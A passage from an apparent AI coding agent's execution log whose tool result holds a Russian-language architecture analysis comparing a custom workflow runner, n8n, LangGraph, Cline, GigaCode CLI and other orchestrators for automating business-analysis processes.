AI\\n364\\t([\u0413-43](#\u0433-43)), \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0418\u0411 \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0435 \u0437\u0435\u0440\u043a\u0430\u043b\u043e \u043e\u0431\u0440\u0430\u0437\u043e\u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043e\u0432:\\n365\\tDocker Hub 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\u043c\u043e\u0434\u0435\u043b\u0438 \u0438\u043b\u0438 \u0418\u0411 \u043d\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u0443\u0435\u0442 \u0440\u0430\u0437\u043c\u0435\u0449\u0435\u043d\u0438\u0435. \u0422\u043e\u0433\u0434\u0430\\n371\\t\u0441\u0440\u0435\u0434\u0430 4 \u0441\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043a CI gate \u043f\u043e\u0432\u0435\u0440\u0445 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 1 \u2014 \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 ADR-019\\n372\\t\u0443\u0436\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442.\\n373\\t\\n374\\t## \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u0438 \u0438\u0445 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u044f\\n375\\t\\n376\\t| \u0412\u0430\u0440\u0438\u0430\u043d\u0442 | \u041e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 | \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u044b |\\n377\\t|---------|-----------|----------|\\n378\\t| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP, skill \u0438\u043b\u0438 workflow \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (\u0412-2) | \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; hooks \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 | [\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39) |\\n379\\t| n8n \u043a\u0430\u043a \u044f\u0434\u0440\u043e (\u0412-6) | \u0412\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430; AI Agent \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d; \u043d\u0435\u0442 `$ref` \u0432 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u043c \u0432\u044b\u0432\u043e\u0434\u0435; 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\u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375), [Temporal](https://docs.temporal.io/develop/python/message-passing) |\\n382\\t| Dify, Flowise (\u0412-8) | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Dify, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432, Node.js \u0443 Flowise, \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 | [\u0413-52](#\u0433-52) |\\n383\\t| Windmill, Kestra, Prefect (\u0412-9) | \u041e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u043e\u0432 \u0434\u0430\u043d\u043d\u044b\u0445; \u0444\u043e\u0440\u043c\u044b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f Windmill \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 Enterprise ([docs](https://www.windmill.dev/docs/flows/flow_approval)); \u0443 Activepieces \u043f\u0430\u0443\u0437\u0430 \u043d\u0435 \u0431\u043e\u043b\u044c\u0448\u0435 30 \u0434\u043d\u0435\u0439 ([limits](https://www.activepieces.com/docs/flows/known-limits)) | \u2014 |\\n384\\t| Camunda 8, Operaton (\u0412-10) | \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Camunda; Java \u0438 BPMN \u0443 Operaton | [\u0413-53](#\u0433-53) |\\n385\\t\\n386\\t## \u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0435 \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u0430\u044e\u0449\u0438\u0435 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430\\n387\\t\\n388\\t- **\u0417\u0430 \u00ab\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0432 \u043a\u043e\u0434\u0435, \u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430 \u0448\u0430\u0433\u0435\u00bb.** Anthropic: workflow \u0434\u0430\u044e\u0442\\n389\\t  \u00abpredictability and consistency for well-defined tasks\u00bb\\n390\\t  ([Building effective agents](https://www.anthropic.com/engineering/building-effective-agents));\\n391\\t  HumanLayer, \u0444\u0430\u043a\u0442\u043e\u0440 8 \u2014 \u00abOwn your control flow\u00bb\\n392\\t  ([12-factor agents](https://github.com/humanlayer/12-factor-agents));\\n393\\t  LangChain: \u043f\u043e\u0447\u0442\u0438 \u0432\u0441\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435 \u2014 \u0441\u043e\u0447\u0435\u0442\u0430\u043d\u0438\u0435 workflow \u0438\\n394\\t  \u0430\u0433\u0435\u043d\u0442\u043e\u0432 ([How to think about agent frameworks](https://www.langchain.com/blog/how-to-think-about-agent-frameworks)).\\n395\\t  BA-\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0441 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\u043a\u043b\u0438\u0435\u043d\u0442\u0430.\\n402\\t  \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 n8n ([\u0413-48](#\u0433-48)) \u2014 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0438\u043d\u0442\u0435\u0433\u0440\u0430\u0446\u0438\u0439\\n403\\t  \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u043f\u043e\u0432\u0435\u0440\u0445\u043d\u043e\u0441\u0442\u044c \u0430\u0442\u0430\u043a\u0438. \u041f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0443\u0437\u043b\u0430 \u043f\u0440\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0438 \u0432\\n404\\t  LangGraph ([\u0413-51](#\u0433-51)) \u2014 \u0434\u0432\u0438\u0436\u043e\u043a \u043d\u0435 \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u043a\\n405\\t  \u0438\u0434\u0435\u043c\u043f\u043e\u0442\u0435\u043d\u0442\u043d\u043e\u0441\u0442\u0438. \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u2014 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 runner \u0442\u043e\u0436\u0435 \u043c\u043e\u0436\u0435\u0442\\n406\\t  \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u0436\u043d\u043e\u0435 \u043e\u0449\u0443\u0449\u0435\u043d\u0438\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0438, \u0435\u0441\u043b\u0438 \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043d\u0435 \u0442\u043e.\\n407\\t\\n408\\t## \u041a\u043e\u0440\u043d\u0435\u0432\u044b\u0435 \u043f\u0440\u0438\u0447\u0438\u043d\u044b: \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\\n409\\t\\n410\\t\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u043a\u043e\u0440\u043d\u0435\u0432\u044b\u0445 \u043f\u0440\u0438\u0447\u0438\u043d. \u0421\u043b\u043e\u0438 1\u20133 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u044e\u0442 \u0442\u0440\u0438.\\n411\\t\\n412\\t7. **\u0423 \u0440\u043e\u043b\u0438 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043b\u0430 \u0440\u043e\u043b\u044c, \u043d\u043e\\n413\\t   \u043d\u0435 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f, \u0430 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` \u0440\u0435\u0448\u0438\u043b \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u043e\u043a\u0443\u043f\u043a\u0438\"\n[2026-09-29T07:44:39.536Z] [INFO]       }\n[2026-09-29T07:44:39.536Z] [INFO]     ]\n[2026-09-29T07:44:39.536Z] [INFO]   },\n[2026-09-29T07:44:39.536Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:44:39.536Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:44:39.536Z] [INFO]   \"uuid\": \"094b1a68-2ad2-40c9-afdb-7c53da4894e1\",\n[2026-09-29T07:44:39.536Z] [INFO]   \"timestamp\": \"2026-09-29T07:44:38.547Z\",\n[2026-09-29T07:44:39.536Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:44:39.536Z] [INFO]     \"type\": \"text\",\n[2026-09-29T07:44:39.536Z] [INFO]     \"file\": {\n[2026-09-29T07:44:39.536Z] [INFO]       \"filePath\": \"/home/box/.claude/projects/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tool-results/b7ejdco20.txt\",\n[2026-09-29T07:44:39.536Z] [INFO]       \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-09-29\\ntemperature: 0.1\\ntype: analysis\\nscope: mango-only\\nsource: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639\\\"\\nbased_on: \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/ba-meta-model\\\"\\nrelated_artifacts:\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\\"\\n  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/615\\\"\\n---\\n\\n# \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b: \u043a\u0430\u043a \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u0435\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c BA-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\\n\\n\u042d\u0442\u043e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0440\u0430\u0441\u0448\u0438\u0440\u044f\u0435\u0442 \u0430\u0443\u0434\u0438\u0442\\n[issue #639](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/639)\\n\u043f\u043e [\u0437\u0430\u043c\u0435\u0447\u0430\u043d\u0438\u044e \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/643#issuecomment-5884160620):\\nCline \u0432 \u0437\u0430\u0434\u0430\u0447\u0435 \u0431\u044b\u043b \u043f\u0440\u0438\u043c\u0435\u0440\u043e\u043c, \u0430 \u043d\u0435 \u0433\u0440\u0430\u043d\u0438\u0446\u0435\u0439. \u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u2014 Source\\n\u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0435\u0451 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442 \u0434\u043b\u044f\\n\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0411\u0410-\u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u041f\u0443\u0442\u044c \u0440\u0430\u0437\u0431\u043e\u0440\u0430: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u2192 \u0441\u0440\u0435\u0434\u044b (\u0430\u0433\u0435\u043d\u0442,\\n\u043a\u043b\u0438\u0435\u043d\u0442, \u043c\u043e\u0434\u0435\u043b\u044c, \u0447\u0435\u043b\u043e\u0432\u0435\u043a) \u2192 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430.\\n\u041f\u0435\u0440\u0432\u0430\u044f \u0447\u0430\u0441\u0442\u044c \u0430\u0443\u0434\u0438\u0442\u0430 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0430\u043a\u0435\u0442\u0430 Cline, \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0413-01\u2026\u0413-25 \u2014 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432\\n\u0441\u0438\u043b\u0435 \u043a\u0430\u043a \u0440\u0430\u0437\u0431\u043e\u0440 \u043e\u0434\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u044b:\\n[\u00ab\u0420\u0430\u0437\u0440\u044b\u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0439 \u0438 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438: \u043f\u0430\u043a\u0435\u0442 Cline VS Code\u00bb](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n\u0417\u0434\u0435\u0441\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u043d\u0443\u043c\u0435\u0440\u0430\u0446\u0438\u044e \u0441 \u0413-26.\\n\\n## \u0412\u0435\u0440\u0434\u0438\u043a\u0442\\n\\n**\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432 \u043b\u0435\u0436\u0438\u0442 \u043d\u0435 \u0432 Cline \u0438 \u043d\u0435 \u0432 \u043c\u043e\u0434\u0435\u043b\u0438, \u0430 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438: \u0443 \u0440\u043e\u043b\u0438\\n\u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.** \u041c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043f\u043e\u0440\u0443\u0447\u0430\u0435\u0442 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u0447\u0438\u0442\u0430\u0442\u044c\\n\u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0438 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430, \u043d\u043e \u0441\u0440\u0435\u0434\u0438 \u043e\u0434\u0438\u043d\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u0441\u0443\u0449\u043d\u043e\u0441\u0442\u0435\u0439\\n\u0435\u0433\u043e \u043d\u0435\u0442, \u0430 `Actor` \u2014 \u044d\u0442\u043e \u0430\u0433\u0435\u043d\u0442 \u0438\u043b\u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a ([\u0413-26](#\u0433-26)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\\n\u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043c\u043e\u043b\u0447\u0430 \u0432\u0437\u044f\u043b \u043d\u0430 \u0441\u0435\u0431\u044f \u043a\u0442\u043e-\u0442\u043e \u0434\u0440\u0443\u0433\u043e\u0439: \u0432 GigaCode CLI \u2014\\n\u0440\u0443\u043a\u0438 \u0411\u0410, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430; \u0432 Cline \u2014 \u043c\u043e\u0434\u0435\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f\\n\u0447\u0438\u0442\u0430\u0435\u0442 \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u0430\u0432\u0438\u043b. \u041e\u0442\u0441\u044e\u0434\u0430 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0440\u0430\u0437\u0440\u044b\u0432\u044b: \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0432\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u0437 YAML\\n\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f ([\u0413-28](#\u0433-28)), \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0448\u0430\u0433\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435\\n\u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0448\u0430\u0433\u0430 ([\u0413-29](#\u0433-29)), \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f\\n\u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 ([\u0413-31](#\u0433-31)), \u0430 \u043e\u0434\u043d\u0430 \u043e\u043f\u0435\u0447\u0430\u0442\u043a\u0430 \u0432 \u043a\u043e\u043c\u0430\u043d\u0434\u0435 \u043d\u0430\u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442\\n\u0437\u0430\u0434\u0430\u0447\u0443 ([\u0413-32](#\u0433-32)).\\n\\n**\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u2014 \u0434\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043d\u0430 \u043e\u0434\u043d\u043e\u043c \u044f\u0434\u0440\u0435.**\\n\\n1. **\u0420\u0430\u0431\u043e\u0447\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0411\u0410 (\u0441\u0440\u0435\u0434\u044b 1 \u0438 2).** \u041f\u0440\u0435\u0432\u0440\u0430\u0442\u0438\u0442\u044c `tools/run-task` \u0438\u0437\\n   \u043f\u0440\u0438\u0432\u0440\u0430\u0442\u043d\u0438\u043a\u0430 \u0432 \u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e: runner \u0441\u0430\u043c \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444 \u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438\u0437 Source,\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430, \u0443\u043c\u0435\u0435\u0442 \u0436\u0434\u0430\u0442\u044c \u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0442\u044c, \u0430 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441\\n   \u00ab\u0447\u0442\u043e \u0434\u0430\u043b\u044c\u0448\u0435\u00bb \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u0442 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c \u044f\u0437\u044b\u043a\u043e\u043c. GigaCode CLI \u0438 Cline \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f\\n   \u0442\u0435\u043c, \u0447\u0435\u043c \u043e\u043d\u0438 \u0441\u0438\u043b\u044c\u043d\u044b, \u2014 \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043c\u043e\u0434\u0435\u043b\u044c \u043f\u0438\u0448\u0435\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a. \u0420\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0435\\n   \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0438 \u043f\u0435\u0440\u0435\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 Source, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440,\\n   \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0438 \u0442\u0435\u0441\u0442\u044b ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 1](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-1-\u0440\u0430\u0431\u043e\u0447\u0435\u0435-\u043c\u0435\u0441\u0442\u043e-\u0431\u0430)).\\n2. **\u0421\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u0440\u0435\u0434\u0430 4.** \u0422\u043e \u0436\u0435 \u044f\u0434\u0440\u043e runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430: \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0438 \u0436\u0443\u0440\u043d\u0430\u043b\\n   \u0432 Postgres, \u0432\u044b\u0437\u043e\u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0448\u0430\u0433\u0435, \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435\\n   \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 \u0447\u0430\u0442 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0443, \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u043e\u0442\u0432\u0435\u0442\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438. \u0414\u0432\u0438\u0436\u043e\u043a \u2014\\n   \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442; \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 LangGraph (MIT) \u2014 \u043a\u043e\u0433\u0434\u0430\\n   \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0442\u0432\u0438. \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0434\u043b\u044f \u0411\u0410 \u2014 \u0442\u043e\u043d\u043a\u0438\u0439 \u043a\u043b\u0438\u0435\u043d\u0442 \u043a API\\n   runner ([\u0420\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f 2](#\u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f-2-\u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f-\u0441\u0440\u0435\u0434\u0430-4)).\\n\\n**\u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430 \u043f\u0440\u043e n8n \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e** ([\u0413-44](#\u0433-44)). n8n \u0445\u043e\u0440\u043e\u0448 \u043a\u0430\u043a\\n\u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430: \u0444\u043e\u0440\u043c\u044b, \u043f\u0430\u0443\u0437\u044b \u043d\u0430 \u0434\u043d\u0438, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, Jira, \u0432\u044b\u0437\u043e\u0432 \u043c\u043e\u0434\u0435\u043b\u0438 \u0447\u0435\u0440\u0435\u0437\\nOpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0434\u0440\u0435\u0441. \u041a\u0430\u043a \u044f\u0434\u0440\u043e \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043e\u043d \u0445\u0443\u0436\u0435 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e runner:\\n\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n\u0436\u0435 \u043d\u0435\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0441\u0442\u044c, \u0447\u0442\u043e \u0432 Cline; \u0430 \u043f\u043e\u0442\u043e\u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439\\n2026 \u0433\u043e\u0434\u0430 